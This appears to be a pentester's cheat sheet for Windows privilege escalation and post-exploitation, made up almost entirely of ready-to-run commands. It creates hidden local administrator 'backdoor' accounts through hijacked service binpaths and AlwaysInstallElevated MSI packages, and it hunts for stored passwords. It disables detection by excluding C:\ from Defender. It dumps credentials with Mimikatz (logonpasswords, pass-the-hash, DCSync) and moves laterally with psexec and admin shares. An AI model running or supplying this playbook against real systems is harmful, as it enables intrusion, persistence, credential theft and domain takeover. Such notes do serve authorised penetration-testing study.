**Tools:**

https://www.base64decode.org/

MSI Wrapper

Angry IP Scanner

Mimikatz

<https://grimhacker.com/2015/04/10/gp3finder-group-policy-preference-password-finder/>

Sysinternals

**Non default Windows Services**

$NonDefaultServices = Get-wmiobject win32\_service | where { $\_.Caption -notmatch "Windows" -and $\_.PathName -notmatch "Windows" -and

$\_.PathName -notmatch "policyhost.exe" -and $\_.Name -ne "LSM" -and $\_.PathName -notmatch "OSE.EXE" -and $\_.PathName -notmatch

"OSPPSVC.EXE" -and $\_.PathName -notmatch "Microsoft Security Client" -and $\_.Name -ne "NetSetupSvc" -and $\_.Name -ne "MicrosoftEdgeElevationService" -and

$\_.Name -ne "edgeupdate" -and $\_.Name -ne "edgeupdatem" }

echo $NonDefaultServices

Backdoor:

cmd.exe /c"net user /add backdoor B@ckd00r123 && net localgroup administrators backdoor /add"”

command prompt (cmd)

cd\

cd temp.old\

cd sys\

accesschk -uwvqc “lowprive” \* of “Everyone”\*

sc config dmtsvc binpath=”cmd /c net user fakeadmin1 L3tm3!n /add && net localgroup administrators fakeadmin1 /add”

<https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html>

Powershell script for unquoted Service Paths

Get-WmiObject win32\_service | select Name,PathName,StartMode,StartName | where {$\_.StartMode -ne "Disabled" -and $\_.StartName -eq "LocalSystem" -and $\_.PathName -notmatch "`"" -and $\_.PathName -notmatch "C:\\Windows"} | Format-List

https://offsec.blog/hidden-danger-how-to-identify-and-mitigate-insecure-windows-services/

**Escalation**

**Preparation**

whoami  
echo %USERNAME% Echo username  
echo %logonserver% Open network drive  
explorer %logonserver% Unattendend install

whoami /priv  
whoami /groups  
whoami /all

net user  
net localgroup  
net user /domain  
net group /domain

***Downloads***

*https://bat2exe.net* /\* bat to exe / *https://www.exemsi.com/* /\* msi wrapper / *https://github.com/gentilkiwi* /\* mimikatz after evasion | \*/ ``

**Search for passwords in registry and on disk**

reg query HKLM /f password /t REG\_SZ /s  
reg query HKCU /f password /t REG\_SZ /s  
dir /b /s \*pass\*  
dir /b /s \*cred\*

**Unattended config**

Find in explorer on LOGON server shared disk

unattend.xml

web.config

sysprep.inf

sysprep.xml

Groups.xml

**Scheduled Tasks**

schtasks /query /fo LIST /v  
dir %SystemRoot%\Tasks  
cd C:\Windows\System32\Tasks /\*\* should not have access \*/ (**scheduled task,migrated task)**

Event viewer -> Application and Service logs -> Microsoft -> Windows -> Task Scheduler **(119 triggered events)**Filter for specific items

**Command and user add localgroup**

cmd.exe /c net user /add backdoor B@ckd00r123 && net localgroup administrators backdoor /add /\*\* where backdoor is the useername \*/

Use local user .\backdoor

**Create executable**

cmd.exe /c net user /add backdoor B@ckd00r123 && net localgroup administrators backdoor /add /\*\* in notepad save as bat \*/

bat2exe /\*\* from commandline \*/

exemsi /\*\* use always elevate \*/

**cmd.exe /c"net user /add backdoor B@ckd00r123 && net localgroup administrators backdoor /add"”**

**Registry**

AlwaysInstallElevated (search regedit)

HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

Services Overview

HKLM\SYSTEM\CurrentControlSet\Services

**Services Permissions**

sc start \<Service Name>

sc query <Service Name> /\*\* status of the service \*/

sc qc \<Service Name> /\*\* Get service details \*/

**Non Default Windows Services**

$NonDefaultServices = Get-wmiobject win32\_service | where { $\_.Caption -notmatch "Windows" -and $\_.PathName -notmatch "Windows" -and

$\_.PathName -notmatch "policyhost.exe" -and $\_.Name -ne "LSM" -and $\_.PathName -notmatch "OSE.EXE" -and $\_.PathName -notmatch

"OSPPSVC.EXE" -and $\_.PathName -notmatch "Microsoft Security Client" -and $\_.Name -ne "NetSetupSvc" -and $\_.Name -ne "MicrosoftEdgeElevationService" -and

$\_.Name -ne "edgeupdate" -and $\_.Name -ne "edgeupdatem" -and $\_.Name -ne "uhssvc"}

echo $NonDefaultServices

Check if service config can be modified

accesschk.exe /accepteula

accesschk.exe -uwcqv "Authenticated Users" \* /accepteula

accesschk -uwvqc "Everyone" \* /accepteula

accesschk -uwvqc "lowpriv" \* /accepteula /\*\* lowpriv is username \*/

accesschk.exe -ucqv \<Service Name>

sc config <Service Name> binpath="cmd /c net user /add localadmin1 B@ckd00r123 && net localgroup administrators localadmin1 /add" /\*\* where localadmin1 is the useername \*/

Unquoted Service Vulnerability

wmic service get name,displayname,pathname,startmode |findstr /i /v "c:\windows\\" |findstr /i /v """

**Check for Services with weak file permissions**

wmic.exe

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> permissions.txt

for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"

sc.exe

sc query state= all | findstr "SERVICE\_NAME:" >> Servicenames.txt

sc qdescription

FOR /F %i in (Servicenames.txt) DO echo %i

type Servicenames.txt

FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt

FOR /F %i in (services.txt) DO @sc qdescription %i | findstr "DESCRIPTION" >> servicedescriptions.txt

FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY\_PATH\_NAME" >> path.txt

!!replace service executable with created exe (see create executable && use the exact same name)

**Evasion**

**Add exclusion to defender**

go to Virus and threat protection (in task tray) -> manage settings -> add or remove exclusions -> exclude c:  
powershell -> Add-MpPreference -ExclusionPath "C:\"

**Harvest credentials**

**Mimikatz**

privilege::debug /\*\* psexec -s -i /accepteula cmd | when debug is revoked escalates to system user / *sekurlsa::logonpasswords* /\* copy hashes for lateral movement / *sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<hash> cmd* /\* Get shell with domain admin rights / *lsadump::dcsync /csv /all* /\* Dump all hashes \*/

**Lateral Movement**

Ping scanner

run angryipscanner  
dir \\192.168.56.110\c$ /\*\* where 192.168.56.110 is ip of system \*/

Copy data to external host

net use x: \\192.168.56.110\c$ /\*\* Mount external drive after defender exclusion where ip is remote machine / *copy c:\temp\mimikatz\_trunk\x64\\*.\** /\* better to not copy everything. If defender interferes retry (race condition) \*/

CMD on remote Machine

psexec \\192.168.56.110 /accepteula cmd /\*\* where 192.168.56.110 is ip of system / *psexec -r anyname \\192.168.56.110 /accepteula cmd* /\* run psexec as a certain name / *set-mppreference -exclusionpath "c:\"* /\* IN POWERSHELL Add exclusion to defender / *get-mppreference* /\* IN POWERSHELL Check exclusion to defender \*/